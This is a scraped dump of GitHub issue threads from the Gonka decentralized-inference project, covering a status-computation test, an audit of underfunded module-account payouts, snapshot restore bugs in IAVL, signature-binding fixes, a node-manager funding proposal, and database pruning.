func TestSkipComputeStatusOnCompletionBreaksLLR(t *testing.T) {\n params := types.DefaultValidationParams()\n completions := 50\n misses := 6\n\n emptyStats := func() types.CurrentEpochStats {\n return types.CurrentEpochStats{InactiveLLR: types.DecimalFromFloat(0), InvalidLLR: types.DecimalFromFloat(0)}\n }\n\n // A: simulate 50 successful inferences + 6 misses (calling ComputeStatus every time)\n stored := emptyStats()\n for i := 0; i < completions; i++ {\n _, _, stored = ComputeStatus(params, nil, types.Participant{CurrentEpochStats: &types.CurrentEpochStats{\n InferenceCount: stored.InferenceCount + 1, MissedRequests: stored.MissedRequests,\n InactiveLLR: stored.InactiveLLR, InvalidLLR: stored.InvalidLLR}}, stored)\n }\n var st types.ParticipantStatus\n for i := 0; i < misses; i++ {\n st, _, stored = ComputeStatus(params, nil, types.Participant{CurrentEpochStats: &types.CurrentEpochStats{\n InferenceCount: stored.InferenceCount, MissedRequests: stored.MissedRequests + 1,\n InactiveLLR: stored.InactiveLLR, InvalidLLR: stored.InvalidLLR}}, stored)\n }\n t.Logf(\"always compute: LLR=%s status=%s\", stored.InactiveLLR.ToDecimal(), st)\n require.Equal(t, types.ParticipantStatus_ACTIVE, st)\n\n // B: now same thing but skip ComputeStatus on completions (bump counter and don't call ComputeStatus)\n skipped := emptyStats()\n skipped.InferenceCount = uint64(completions)\n var st2 types.ParticipantStatus\n for i := 0; i < misses; i++ {\n st2, _, skipped = ComputeStatus(params, nil, types.Participant{CurrentEpochStats: &types.CurrentEpochStats{\n InferenceCount: uint64(completions), MissedRequests: skipped.MissedRequests + 1,\n InactiveLLR: skipped.InactiveLLR, InvalidLLR: skipped.InvalidLLR}}, skipped)\n }\n t.Logf(\"skip completions: LLR=%s status=%s\", skipped.InactiveLLR.ToDecimal(), st2)\n\n // same participant, same event sequence, but marked 'inactive'\n require.Equal(t, types.ParticipantStatus_INACTIVE, st2)\n}\nA: result: LLR=-1.73, status=ACTIVE\nB: result: LLR=+4.16, status=INACTIVE\n'getInactiveStatus' updates InactiveLLR from deltas. If we skip ComputeStatus on successful completions, positive newInferences updates are never applied to InactiveLLR
Did I misunderstand anything in this reasoning?
@akup commented 2026-02-23 16:46 UTC@x0152 you are correct. And it is really nice to pushing on this.
The point is that ComputeStatus is using Participant.CurrentEpochStats.InactiveLLR for next delta calculation.
The test could pass if we first apply ComputeStatus(50, 0, oldStatus), and then ComputeStatus(50, 6, oldStatus), but if we skip computations InactiveLLR will not be updated.
And even if we can optimize it (for example apply all passed inferences on first met missedInference) it's need additional tracking of changing trend from passed inference to missed inference. So optimizing Ln math (caching it) is good enough to keep the flow. Skipping compute status while possible needs additional tracking and it needs to measure does it provide real performance win.
Actually I've finished by selectable skipping of probabilityOfConsecutiveFailures, getInvalidationStatus, getInactiveStatus, getConfirmationPoCStatus dependant of source of SetParticipant call.
@akup commented 2026-02-23 17:00 UTC@x0152 so to extend your test:
// C: batch 50 completions (one ComputeStatus with delta (50,0)), then apply 6 misses.\n// Same net deltas as A, so InactiveLLR and status must match A.\nskipped2 := emptyStats()\nvar st3 types.ParticipantStatus\nst3, _, skipped2 = ComputeStatus(params, nil, types.Participant{\n CurrentEpochStats: &types.CurrentEpochStats{\n InferenceCount: uint64(completions),\n MissedRequests: 0,\n InactiveLLR: skipped2.InactiveLLR,\n InvalidLLR: skipped2.InvalidLLR,\n },\n}, skipped2, scope)\nfor i := 0; i < misses; i++ {\n st3, _, skipped2 = ComputeStatus(params, nil, types.Participant{\n CurrentEpochStats: &types.CurrentEpochStats{\n InferenceCount: skipped2.InferenceCount,\n MissedRequests: skipped2.MissedRequests + 1,\n InactiveLLR: skipped2.InactiveLLR,\n InvalidLLR: skipped2.InvalidLLR,\n },\n }, skipped2, scope)\n}\nt.Logf(\"batch completions then misses: LLR=%s status=%s\", skipped2.InactiveLLR.ToDecimal(), st3)\nrequire.Equal(t, types.ParticipantStatus_ACTIVE, st3, \"same event sequence as A should stay ACTIVE\")\nrequire.Equal(t, stored.InactiveLLR.ToDecimal().String(), skipped2.InactiveLLR.ToDecimal().String(),\n \"InactiveLLR should equal case A when we batch completions then apply misses\")\nIn this case InactiveLLR will be same with case A, when you Compute on every passed inference
@x0152 commented 2026-02-23 21:27 UTCGot you. Thanks for detailed explanation
@gmorgachev commented 2026-03-11 20:01 UTCThe big part of inference flow optimization is merged in https://github.com/gonka-ai/gonka/pull/812 I'm closing all [*/4] StartInference and FinishInference: optimiziation tasks to finalize this work in milestone 0.2.11. I think it'd be better to re-open in case of additinal optimizations required
🔄 Auto-synced from Issue #783 every hour.
"}, {"location": "community/issues/00784-p2-possible-underfunded-issues/", "title": "#784 — [P2] Possible underfunded issues", "text": "[P2] Possible underfunded issues #784 Closed @tcharchian opened 2026-02-20 23:24 UTC 4 comments Updated 2026-04-10 04:50 UTC Priority: Low"}, {"location": "community/issues/00784-p2-possible-underfunded-issues/#problem", "title": "Problem", "text": "Much of the Gonka system depends on funds being moved in and out of \"escrow\", which is stored in the types.ModuleName (\"inference\") account (the \"module account\"). Payments for inferences are moved here as well as money for rewards. There are also (possibly) movement from or to other module accounts (such as collateral, governance and streamvesting).
There are unlikely but possible scenarios that might result in these account having insufficient funds.
We would like to solve this problem comprehensively rather than piecemeal.
Tasks need to be done in order.
"}, {"location": "community/issues/00784-p2-possible-underfunded-issues/#task-1-analysis", "title": "Task 1: Analysis", "text": "This means going through and finding every place where payouts might result in insufficient funds, and defining and understanding current behavior when this happens.
"}, {"location": "community/issues/00784-p2-possible-underfunded-issues/#task-2-important-fixes", "title": "Task 2: Important fixes", "text": "This means making sure that in each instance of these possible failures that no critical errors will occur. This means (in order of priority): 1. No possible exploit to gain un-earned funds 2. No consensus failures (panics during EndBlock, for instance) 3. No panics during a message transaction (rather, they should return an error for deterministic rollback)
"}, {"location": "community/issues/00784-p2-possible-underfunded-issues/#task-3-standardize-handling", "title": "Task 3: Standardize handling", "text": "This is fairly open ended, but the end goal is to have the behavior for an unfunded event to be consistent and logical across scenarios and accounts. Principles should be clearly outlined and exceptions that need to conform with the policy should be fixed.
"}, {"location": "community/issues/00784-p2-possible-underfunded-issues/#task-4-prevent-future-failures", "title": "Task 4: Prevent future failures", "text": "This is also open ended, but some mechanism should clearly make it so no new behavior will violate the outcome of Task 3. Methods available: 1. Unit test failures (that may include searching files or using the AST) 2. Static checks (similar to the current use of forbidigo to prevent calls to panic or Must) 3. AI guidelines - explicit, reliable AI guidelines that can be added to the ai-review tool gonka-ai/ai-review
Any other method, as long as it serves the purpose, would work.
"}, {"location": "community/issues/00784-p2-possible-underfunded-issues/#comments-4", "title": "💬 Comments (4)Task 1 — analysis (updated with IDs)Task 2 — fixesTask 3 — standardized handling for underfunded events", "text": "@0xMayoor commented 2026-02-21 08:10 UTCWorking on it!
@0xMayoor commented 2026-02-21 14:20 UTCSame findings as before, now with IDs so the Task 2 PRs can reference them.
Went through every runtime path where coins move out of a module account — inference, bridge_escrow, top_reward, collateral, streamvesting. Checked what happens if the sending account is underfunded at that moment.
Found ~25 distinct payout/refund paths. 12 handle it fine (error returned, state rolls back). 13 have issues, plus 2 more found while working on the fixes. Listed below.
settlementGetBitcoinSettleAmounts error logged not returned. On failure the amounts slice is nil, amounts[i] panics in the settlement loop. EndBlock panic = permanent node crash.SettleAccounts does mint, balance resets, perf summaries, and settle writes as independent KV operations. Failure mid-way means earlier writes are already committed. Participants can end up with zeroed balances but no settle record.SetSettleAmountWithGovernanceTransfer return value ignored. If the governance transfer of an old settle fails, function returns before writing the new settle. Participant loses current epoch earnings silently.TransferOldSettleAmountsToGovernance error logged not returned. Old settles stuck but records persist for retry. Low severity on its own, but was inside the atomic section so a failure here rolls back current-epoch settlement too.SettleAccounts error swallowed by the orchestrator in module.go. Even when the function correctly returns an error, it gets thrown away.finishSettle deletes the settle record and marks Claimed = true before the payout is confirmed. If the payout fails, participant's claim is gone permanently. No retry path. Probably the worst one.processInferencePayments. When FinishInference reprices lower and the refund fails, error logged, execution continues. Inference marked finished without developer getting their refund.FinishedProcessed() blocks retry, making it permanent. Found this one while fixing F-08.AdvanceEpoch errors swallowed by the inference orchestrator. If collateral fails its epoch counter doesn't increment, leading to desync.SendCoins failure. Remaining entries skipped until next epoch.SetVestingSchedule fails. Schedule still has the entry, same amount sent again next epoch. Double payment.addTimeout is a void function. If the timeout write fails, inference never expires, escrow locked forever.TransferOldSettleAmountsToGovernance returns error to EndBlock, halting the chain on what should be a non-fatal cleanup. The existing code comment already says this shouldn't block settlement. Found this while working on the EndBlock audit.Direct payments, vested payments, burns, refund wrapper, governance transfers, invalidation refunds, bridge release/rollback, slash/burn, minting — all return errors correctly.
@0xMayoor commented 2026-02-22 18:38 UTCTwo PRs.
PR 1 (#787) — settlement bugs in accountsettle.go. Panic fix, CacheContext wrap, error checking, cleanup separation. Covers F-01 through F-05.
PR 2 (#789) — applies the same CacheContext approach to ClaimRewards, inference expiry, streamvesting, and FinishInference. Also did a full integer narrowing audit and EndBlock error path audit. Covers F-06, F-07, F-08, F-09, F-12, F-14, F-15. Each atomicity fix has a rollback test that would fail without CacheContext (proving the bug) and passes with it (proving the fix).
Three findings still open — they all need a design decision before fix:
AdvanceEpoch errors are swallowed. What's the desired recovery when collateral or streamvesting fails their epoch advance? Added epoch_error events for visibility in PR 2, but the actual recovery mechanism is the open question.addTimeout is void. If the timeout write fails, inference sits in STARTED forever. Should StartInference roll back the whole inference, or continue without expiry tracking?Principles based off Task 1 analysis and Task 2 fixes. Every fund-movement path should conform to these. Exceptions listed at the bottom.
Principles1. Atomicity via CacheContext
Any path that moves funds and writes related state (status changes, schedule updates, settle records) must wrap both in a single CacheContext. Either everything commits or nothing does. This prevents partial state where funds moved but the tracking record didn't update, or vice versa.
Applies to: msg server handlers, EndBlock expiry, settlement, vesting payments.
2. Nil-error response encoding for selected handlers
Some handlers return (response, nil) to the SDK and encode failures in response.ErrorMessage instead of returning a real error. This is intentional — in Cosmos SDK, a non-nil error from any message handler rolls back the entire multi-message transaction, including unrelated messages that succeeded. Handlers that are expected to appear alongside other messages in a single tx use this pattern to allow per-message failure without aborting the batch.
Currently applies to: StartInference, FinishInference, ClaimRewards. Other handlers (validation submission, PoC validation, etc.) follow standard SDK error returns and rely on tx-level rollback. Since SDK rollback never triggers for the nil-error handlers, CacheContext is the only atomicity mechanism available to them.
3. Settle records survive payout failure
If a payout fails during ClaimRewards, the settle record and perf summary must not be deleted or marked claimed. The participant can retry on a subsequent block. finishSettle only runs inside the CacheContext after all payments succeed.
4. EndBlock error classification
epoch_error events emitted at collateral advance, settlement, and weight adjustment stages for indexer visibility. Not yet added at streamvesting advance or BLS keygen — those should be added for consistency.5. Expiry retry safety
When an inference timeout fires and the refund fails, the inference stays in STARTED status and the timeout record is preserved. EndBlock only removes timeouts for successfully expired inferences. Executor penalty only applied after refund commits.
6. Errors must not be silently ignored
In tx/msg code paths, functions that can fail should return errors so the caller can decide whether to roll back or continue. Void functions that perform state writes (like addTimeout) hide failures from the caller.
In EndBlock and cross-module paths, returning an error isn't always viable (you may not want to halt the chain for a collateral issue). In those cases, \"not ignoring\" means structured surfacing — emit a typed event, log at error level, and have an explicit policy on whether the failure is retried, skipped, or escalated. The key is that someone (operator, indexer, governance) can observe and act on the failure, even if the chain continues.
7. Integer narrowing at trust boundaries
Any cast from a wider type to a narrower type (int64 to int32, uint64 to uint8, etc.) must be bounds-checked. Consensus paths return an error on overflow. Query-only paths clamp with a log warning. Silent truncation is never acceptable — it corrupts downstream calculations.
What conforms (after Task 2)SettleAccounts — CacheContext, error checked, old cleanup separated (PR #787)[F-10] Collateral and streamvesting AdvanceEpoch errors lack consistent observability. epoch_error events exist at some stages (collateral advance, settlement, weight adjustment) but not at streamvesting advance or BLS keygen. Retry semantics are also unclear — if collateral unbonding fails mid-epoch, is the expectation that the next epoch retries it, or is it silently dropped? Needs team input on classification and whether these paths need explicit retry or just consistent event coverage.
[F-11] Collateral unbonding loop aborts on first SendCoins failure. The actual risk is worse than just \"remaining entries skipped\" — emtries already paid before the failure don't get removed from state because removal happens after the loop. On retry next epoch, those entries pay out again. This is a double-payout risk. Fix options: (a) per-entry atomic send+remove via CacheContext (b) whole-batch atomic commit (c) mark entries as processed before sending with rollback on failure. Needs team input.
[F-13] addTimeout is void — it drops errors from SetInferenceTimeout silently. In practice KV writes rarely fail during block execution, so the likelihood is low, but it still violates principle 6 by hiding the failure from the caller. If it ever did fail, the inference would have no expiry and escrow would be stuck until manual intervention. Low priority, but worth cleaning up for consistency. Fix options: (a) return error and roll back StartInference (b) continue without expiry but add a fallback sweep. Needs teaam input.
TASK 4
🔄 Auto-synced from Issue #784 every hour.
"}, {"location": "community/issues/00791-automatic-cleanup-of-old-propagation-proofs/", "title": "#791 — Automatic cleanup of old propagation proofs", "text": "Automatic cleanup of old propagation proofs #791 Closed @slandymani opened 2026-02-23 10:11 UTC 1 comment Updated 2026-04-22 20:58 UTCImplement automatic cleanup of propagation data (bundles and proofs) from old epochs to prevent unbounded storage growth.
Behavior: - When entering epoch N, delete all propagation data from epoch N-2 - Keep epoch N-1 data for potential validation recovery scenarios - Cleanup triggers at the start of each new PoC phase
Configuration: - Add retain_all_proofs flag to poc_propagation config section - When true, disable cleanup (useful for debugging/testing)
https://github.com/gonka-ai/gonka/pull/792
🔄 Auto-synced from Issue #791 every hour.
"}, {"location": "community/issues/00797-new-nodes-cant-join-from-snapshots-with-error/", "title": "#797 — New nodes can't join from snapshots with error", "text": "New nodes can't join from snapshots with error #797 Closed @tcharchian opened 2026-02-24 19:35 UTC 5 comments Updated 2026-02-25 17:50 UTC help wanted up-for-grabs Priority: HighThis is an urgent, open issue, and many contributors are working on it in parallel.
There is a quite weird issue today - new nodes can't join from snapshots with error like that:
5:49AM ERR error in proxyAppConn.FinalizeBlock err=\"no validator signing info found\" module=consensus\nSeems like there is no signing info in snapshot. But that issue happens with different set of peers for state sync (pex=false) and seems reproducable in most cases
Experiment was done to ignore this issue in cosmos-sdk and them it fails like the state doesn't have slashing params also
Seems like active nodes had all this data at the state at this height
How to reproduce it - to start new node, it is likely you get it (it passes with some snapshots, which makes everything even stranger)
main hypothesis that something is with producing snapshots, it's cosmo-sdk level
There is also a hypothesis that it is somehow connected to slashing, as it started to happen when collateral was activated. But we are not sure.
it happens the same block the validator list usually updated.
Also, collateral needs to be checked.
"}, {"location": "community/issues/00797-new-nodes-cant-join-from-snapshots-with-error/#comments-5", "title": "💬 Comments (5)", "text": "@hleb-albau commented 2026-02-24 19:53 UTCAs a workaround(before fix), it is possible to just compress data folder(except some filers) and distribute it as is archive. Quite popular in cosmos world. See https://snapshots.osmosis.zone/index.html as example
@tcharchian commented 2026-02-24 20:11 UTC@hleb-albau thanks, that makes sense and it’s a well-known approach in the Cosmos ecosystem. You are right, it’s more of an operational workaround than a real fix (it doesn’t address the underlying issue we’re trying to solve)
@blizko commented 2026-02-24 21:35 UTCAdditional feedback: The issue was observed before collateral slashing was activated. During epoch 179 have been observing same error. Known failed attempt time around Feb 21st 01:47 UTC
@x0152 commented 2026-02-24 23:49 UTCThe issue is in cosmos/iavl v1.2.4
After snapshot restore, IAVL rebuilds a \"fast node\" index by iterating the tree. If the iterator hits an error mid-way, it silently stops - the error is never stored (iterator.go:230-235). The fast index ends up incomplete, but IAVL marks it as ready
Then when the node starts processing blocks, Get() checks the fast index, doesn't find the key, and assumes it doesn't exist - without checking the actual tree (immutable_tree.go:192-198). The data is in the tree, but the code never reaches it
That's why slashing module gets nil -> no validator signing info found -> crash
The exact error that triggers the iterator failure is still unknown - since IAVL swallows it, there's no way to see it without patching the code
Workaround (was found by @gmorgachev): setting iavl-disable-fastnode = true on the same snapshot - works immediately. This skips the fast index and reads the tree directly
https://gonka.ai/FAQ/#how-do-i-fix-errno-validator-signing-info-found-when-starting-from-a-state-sync-snapshot
🔄 Auto-synced from Issue #797 every hour.
"}, {"location": "community/issues/00803-punish-ta-on-signaturecomponent-mismatch/", "title": "#803 — Punish TA on signature/component mismatch", "text": "Punish TA on signature/component mismatch #803 Closed @DimaOrekhovPS opened 2026-02-25 20:47 UTC 0 comments Updated 2026-05-25 19:10 UTCWhen cross-message comparison detects a mismatch in TA-signed components (prompt_hash, request_timestamp, transfer_agent, executor), the Transfer Agent should be penalized.
🔄 Auto-synced from Issue #803 every hour.
"}, {"location": "community/issues/00803-punish-ta-on-signaturecomponent-mismatch/#context", "title": "Context", "text": "Currently, mismatches in compareStartTAComponents / compareFinishTAComponents return an error and reject the message, but no slashing or reputation penalty is applied to the TA.
prompt_hash than what start persisted. If TA signature on the finish message is valid, the TA signed a different prompt — TA is the cheater.prompt_hash. The TA submitted inconsistent data across messages — TA is the cheater.Currently signs: original_prompt_hash + timestamp + ta_address.
Add model to prevent a TA or executor from redirecting the inference to a different model after the developer signed. The cross-message comparison catches model mismatches today, but the first message accepts any model without cryptographic proof of developer intent.
New payload: original_prompt_hash + timestamp + ta_address + model.
Currently signs: prompt_hash + timestamp + ta_address + executor_address.
Add inferenceId and original_prompt_hash to bind the TA signature to a specific inference request. Without these, an executor could replay a valid TA signature from one inference onto a different inference that shares the same prompt_hash, timestamp, and addresses.
New payload: prompt_hash + timestamp + ta_address + executor_address + inferenceId + original_prompt_hash.
getDevSignatureComponents / getFinishDevSignatureComponentsgetTASignatureComponents / getFinishTASignatureComponentsPer discussion with @DimaOrekhovPS, this issue may become irrelevant after v0.2.12 and depends on whether we fully switch to the new inference system in the next upgrade or not, wdyt @0xgonka @gmorgachev?
@0xgonka commented 2026-03-21 07:45 UTCsecurity-wise it is important someone can't just use a dev signature from another inference. I am not sure what PR in 0.2.12 makes this irrelevant but would be happy to take a look if someone can point me in that direction
🔄 Auto-synced from Issue #804 every hour.
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/", "title": "#810 — Gonka Node Manager — Automated Node Deployment, Updates, and Monitoring", "text": "Gonka Node Manager — Automated Node Deployment, Updates, and Monitoring #810 Closed @ochenUmnayaKatyshka opened 2026-02-26 11:49 UTC 1 comment Updated 2026-02-27 20:15 UTC enhancement help wanted"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#executive-summary", "title": "Executive Summary", "text": "Running Gonka nodes currently requires manual CLI-based installation, configuration, and ongoing maintenance. For experienced operators, initial setup typically takes several hours per node. For less experienced participants, the process often stretches to one or two days — or results in abandonment before a node is ever launched.
This friction actively filters out potential operators, concentrating power among technically advanced users and slowing organic decentralization.
Gonka Node Manager requests $80,000 USD equivalent from the Community Pool to build a production-ready MVP that automates node deployment, updates, and monitoring.
Note: On-chain governance vote (Community Pool spend) will be submitted as a separate transaction once the contract is deployed. This issue tracks the technical proposal and implementation plan.
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#problem-statement", "title": "Problem Statement", "text": "Current node operation requires: - Manual CLI setup taking hours to days per node - SSH access and server-level configuration for every update - No automated monitoring or health visibility - No streamlined process for attaching ML nodes to network nodes
This effectively limits participation to a narrow group of technically advanced users, concentrating operational power and slowing organic decentralization.
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#proposed-solution", "title": "Proposed Solution", "text": "Gonka Node Manager — a unified tool that allows node operators to:
The system operates on top of user-provided infrastructure (physical or virtual) and fits naturally into a decentralized network model.
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#architecture-overview", "title": "Architecture Overview", "text": ""}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#components", "title": "Components", "text": "Component Role Control Plane (Web UI + API) User auth, node management, issues tasks to agents, displays status Node Agent (host daemon) Installed once per host, manages local Docker Compose stacks, communicates outbound only Stack Bundles Deployment definitions: services, ports, health checks, references to official Gonka images"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#core-user-flows", "title": "Core User Flows", "text": "This preserves node sovereignty and aligns with Gonka's decentralization principles.
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#mvp-scope", "title": "MVP Scope", "text": ""}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#included", "title": "Included", "text": "Outcome: Network and ML nodes can be deployed and operate end-to-end - Node agent: deploy, attach, health — 160–200h - Control Plane core APIs — 80–100h - Architecture & core design — 40–60h - Minimal UI — 40–60h - Integration testing — 40–60h
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#phase-2-mvp-auto-updates-2025-of-budget", "title": "Phase 2 — MVP Auto-Updates (20–25% of budget)", "text": "Outcome: Running nodes update themselves automatically - Bundle versioning & signatures — 40–60h - Agent update logic — 40–60h - Control Plane update coordination — 20–30h - Update testing — 20–30h
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#phase-3-mvp-monitoring-1520-of-budget", "title": "Phase 3 — MVP Monitoring (15–20% of budget)", "text": "Outcome: Operators can observe node status and health - Agent health reporting — 30–40h - Backend status aggregation — 20–30h - UI status views — 40–50h
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#phase-4-stabilization-technical-debt-1015-of-budget", "title": "Phase 4 — Stabilization & Technical Debt (10–15% of budget)", "text": "Outcome: Stable, documented, production-ready MVP - Bug fixes and edge cases - Security hardening - Documentation - Final testing
Total estimated effort: 650–880 engineering hours
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#budget", "title": "Budget", "text": "Requested: $80,000 USD equivalent (one-time, from Community Pool)
Funding released in stages tied to phase completion. Cost overruns covered by the team at its own expense — no retroactive compensation requests will be made.
"}, {"location": "community/issues/00810-gonka-node-manager-automated-node-deployment-updates-and-mon/#accountability", "title": "Accountability", "text": "progress.md updated after each phase with written summary, deliverables, and artifact linksHi @ochenUmnayaKatyshka! I'd suggetst publishing proposals in Discussion section: https://github.com/gonka-ai/gonka/discussions/categories/proposals
🔄 Auto-synced from Issue #810 every hour.
"}, {"location": "community/issues/00818-slow-nodes-investigation/", "title": "#818 — Slow nodes investigation", "text": "Slow nodes investigation #818 Open @tcharchian opened 2026-02-27 21:07 UTC 7 comments Updated 2026-03-18 14:23 UTC help wanted up-for-grabs Priority: High"}, {"location": "community/issues/00818-slow-nodes-investigation/#discussed-in-httpsgithubcomgonka-aigonkadiscussions817", "title": "Discussed in https://github.com/gonka-ai/gonka/discussions/817", "text": "Originally posted by **tcharchian** February 27, 2026 Task: Multiple hosts reported node slowdowns in the last days. Need to identify common patterns and mitigate."}, {"location": "community/issues/00818-slow-nodes-investigation/#comments-7", "title": "💬 Comments (7)", "text": "@AlexeySamosadov commented 2026-03-03 10:33 UTCPR: https://github.com/gonka-ai/gonka/pull/844
@sysmanalex commented 2026-03-03 18:20 UTChttps://gonka.gg/public-api/
@Mayveskii commented 2026-03-06 14:21 UTCL8 (latency consistency) axis in GiP #860 measures this directly.
Live measurement (proxy.gonka.gg, Qwen3-235B, 16 requests, Mar 6 2026): mean: 1280ms σ: 876ms CV: 0.68 ← primary signal p95: 2621ms min: 553ms / max: 2621ms
CV=0.68 means the slowest node delivers the same request in ~4× the time of the fastest. Current GetRandomExecutor routes to both equally — the slow node gets the same traffic share as the fast one.
Phase 4 of GiP #860 (GetQualityWeightedExecutor) routes traffic proportional to L8 score (1 − CV per epoch). Nodes with high latency variance get less traffic automatically, without manual investigation per node.
Projection from routing simulation: mean latency ↓15%, σ ↓40% as high-CV nodes are progressively deprioritized.
Data + design: docs/specs/inference-quality-protocol.md in PR #859 branch. Discussion: #860
@sysmanalex commented 2026-03-06 22:33 UTCMy imho - 16 requests is too small measurement. - I see several logical errors, risks, and unobvious long-term consequences here 1) The measurements were taken on a MiniLM-L6-v2 (384 dimensions, without a GPU). GPUs behave differently and have high latencies write/read shared mem, especially for large requests, up to seconds! For a large model, if there's a large request or response, it's sent in chunks. The spread will be large. (node can be alive, but may still serve perv request - without alv capacity.) 2) a) When the network load is 50-75-90%, routing toward the fastest node will automatically load it, which will cause it to lag, and latency will increase. (network should know capacity and load.) b) A node that's delay by 1000 reasons, including network/tcp delay/miss/dissorder - may return with in a second back. seems here is two layers network and gpu/llm models. for network more logical use ping-beacons. for llm models - router should try again later always, otherwise this will lead to exclude for long time - any delayed node, this will lead to low LLM/model/GPU network inefficiency/idle hw, waste or resources. b) at simple cases, some nodes/areas can just lag/ddos/net-split for 2-5-90 sec - will statistically lead to high_weight for alive and down_weight for lagged - with huge distance. router cache - should have expire_time & fail_attempts always, smarter logics. (seems lose to typical HA High availability clusters.) p.s. p2p mesh network is always meaning - different travel time/vary_latency/re-route/splits/re-orgs. only dedicated core with multi-leg low latency can compensate this. p2p mesh for btc is ok, for Gonka imho different way.
@Mayveskii commented 2026-03-18 14:20 UTCRE
My calculations for splitting results between participants for efficiency are supported by current pull requests, but the instance is initialized with Docker and doesn't use the GPU. While the bridge idea is relevant and is reflected in the metrics from your point 2, it's worth addressing separately.
I'm currently testing this in the development paradigm and current solutions: one-shot minimum GPU computations using goroutine threads within instances.
It turns out that even alpha testing shows the absolute effectiveness of the semantic cache in terms of CPU time before using the GPU. This depends on the developer's performance and the number of currently closed pull requests. The next few weeks should reveal the developer's effectiveness.
How this might impact the protocol, hosts, and a separate pull request.
@Mayveskii commented 2026-03-18 14:23 UTCI just thought about providing the node starter pack with this comprehensive solution.
🔄 Auto-synced from Issue #818 every hour.
"}, {"location": "community/issues/00819-applicationdb-growth-pruning/", "title": "#819 — `application.db` growth / pruning", "text": "`application.db` growth / pruning #819 Closed @tcharchian opened 2026-02-27 21:08 UTC 10 comments Updated 2026-03-12 19:08 UTC bug help wanted Priority: High"}, {"location": "community/issues/00819-applicationdb-growth-pruning/#discussed-in-httpsgithubcomgonka-aigonkadiscussions817", "title": "Discussed in https://github.com/gonka-ai/gonka/discussions/817", "text": "Originally posted by **tcharchian** February 27, 2026 Task: `application.db` is growing unexpectedly; pruning does not appear to be effective. This impacts storage and performance. Reports from multiple node operators indicate that block pruning is not reclaiming space as expected, which can result in continued growth of `application.db` and increased storage pressure. This issue tracks investigation, evidence gathering, and community-proposed mitigations. Sustained `application.db` growth can lead to: - disk exhaustion and downtime - performance degradation - more operational overhead during maintenance and upgrades **Observations** - Pruning may be configured, yet `application.db` continues to grow on some setups. - Similar symptoms have been reported by multiple independent hosts - The current state suggests a need to confirm whether this is: - a configuration issue, - expected retention behavior, - or a bug / unintended interaction **Goals** - Identify the most likely cause(s) and validate them with reproducible evidence. - Produce a short guide with: - recommended pruning settings (where applicable), - safe maintenance steps (e.g., compaction guidance), - monitoring suggestions (growth rate, alert thresholds). - If a code-level change is justified, track it via linked PRs and governance-appropriate process."}, {"location": "community/issues/00819-applicationdb-growth-pruning/#comments-10", "title": "💬 Comments (10)Fix: pruning freeze caused by gaps inpruneSnapshotHeights", "text": "@Mayveskii commented 2026-03-03 07:58 UTC I’d like to work on this issue, will start by reproducing application.db growth and investigating pruning behavior
@AlexeySamosadov commented 2026-03-03 11:13 UTCPR: https://github.com/gonka-ai/gonka/pull/846
@Mayveskii commented 2026-03-03 11:36 UTCRoot cause: application.db growth — code review + live data TL;DR: Not a config problem. The pruning system silently deletes nothing on nodes that missed upgrade v0.2.4 (InferencePruningMax = 0 in DefaultEpochParams), and 9+ large collections were never pruned at all. Live data (epochs 158–188, gonka.gg): 2.3M inferences over 31 epochs, peak 241K/epoch Estimated application.db growth: ~7 GB (with payloads) / ~1.2 GB (metadata only) Root causes in code: InferencePruningMax = 0 by default (inference-chain/x/inference/types/params.go, DefaultEpochParams). On nodes without upgrade v0.2.4, pruning deletes zero records per block. The upgrade handler (app/upgrades/v0_2_4/upgrades.go) sets it to 5000 — but only for nodes that actually ran it. Deprecated payload fields still stored on-chain. inference.proto still carries prompt_payload, response_payload, original_prompt inside every Inference written to application.db via SetInference. 9 large epoch-keyed collections never pruned. EpochPerformanceSummaries, ConfirmationPoCEvents, PoCValidationsV2, MLNodeWeightDistributions and others in keeper.go have zero pruning logic and grow unboundedly regardless of config.
@Mayveskii commented 2026-03-03 11:36 UTCPR: #846
were exactly working on it....
@AlexeySamosadov commented 2026-03-03 12:00 UTCSummary of what was done in PR #846:
Root cause identified: 9 epoch-keyed collections were never pruned, only 3 were cleaned up (Inferences, PoCBatches, PoCValidations v1). The unpruned collections:
Additionally, InferencePruningMax and PocPruningMax defaulted to 0 in the proto definition, meaning pruning was silently disabled on any node that didn't receive the v0.2.4 upgrade handler.
Fix: extended Prune() to clean all 9 collections, added fallback default (5000) when configured max is zero, set sane defaults in DefaultEpochParams(). Tests added and passing.
[!NOTE] - purning problem is part of IAVL bugs (will be fixed/can be - by migration to IAVLX v0.54) 100% Pruning isn't explicitly configured in app/app.go -> the Cosmos SDK default is used.
there stored: all epochs + task history claims, rewards, top-miner calculations, PoC & account settlements.
The pruning mechanism is partially present (PruningEpochThreshold in types/params.go + Simple Pruning PR #226), but it's not fully implemented in EndBlocker and doesn't clean up old versions in IAVL. Therefore, pruning in app.toml \"doesn't work,\" even though the config is valid.
Another reason - Pruning isn't explicitly configured in app/app.go -> the Cosmos SDK default is used btw default -> stores last 1 year (issue here, config and sets may fail).
[!TIP] 1. possible solutions, try to lower toml, [pruning] keep-recent = 50 db_backend = rocksdb !! or I suggest to try pebbleDB ! - GoLevelDB very bad on compacting records/pruning ! check https://github.com/cosmos/cosmos-sdk/blob/main/docs/architecture/adr-065-store-v2.md
Physical DB Backends This ADR proposes usage of RocksDB to utilize user-defined timestamps as a versioning mechanism. However, other >physical DB backends are available that may offer alternative ways to implement versioning while also providing >performance improvements over RocksDB. E.g. PebbleDB supports MVCC timestamps as well, but we'll need to explore >how PebbleDB handles compaction and state growth over time.
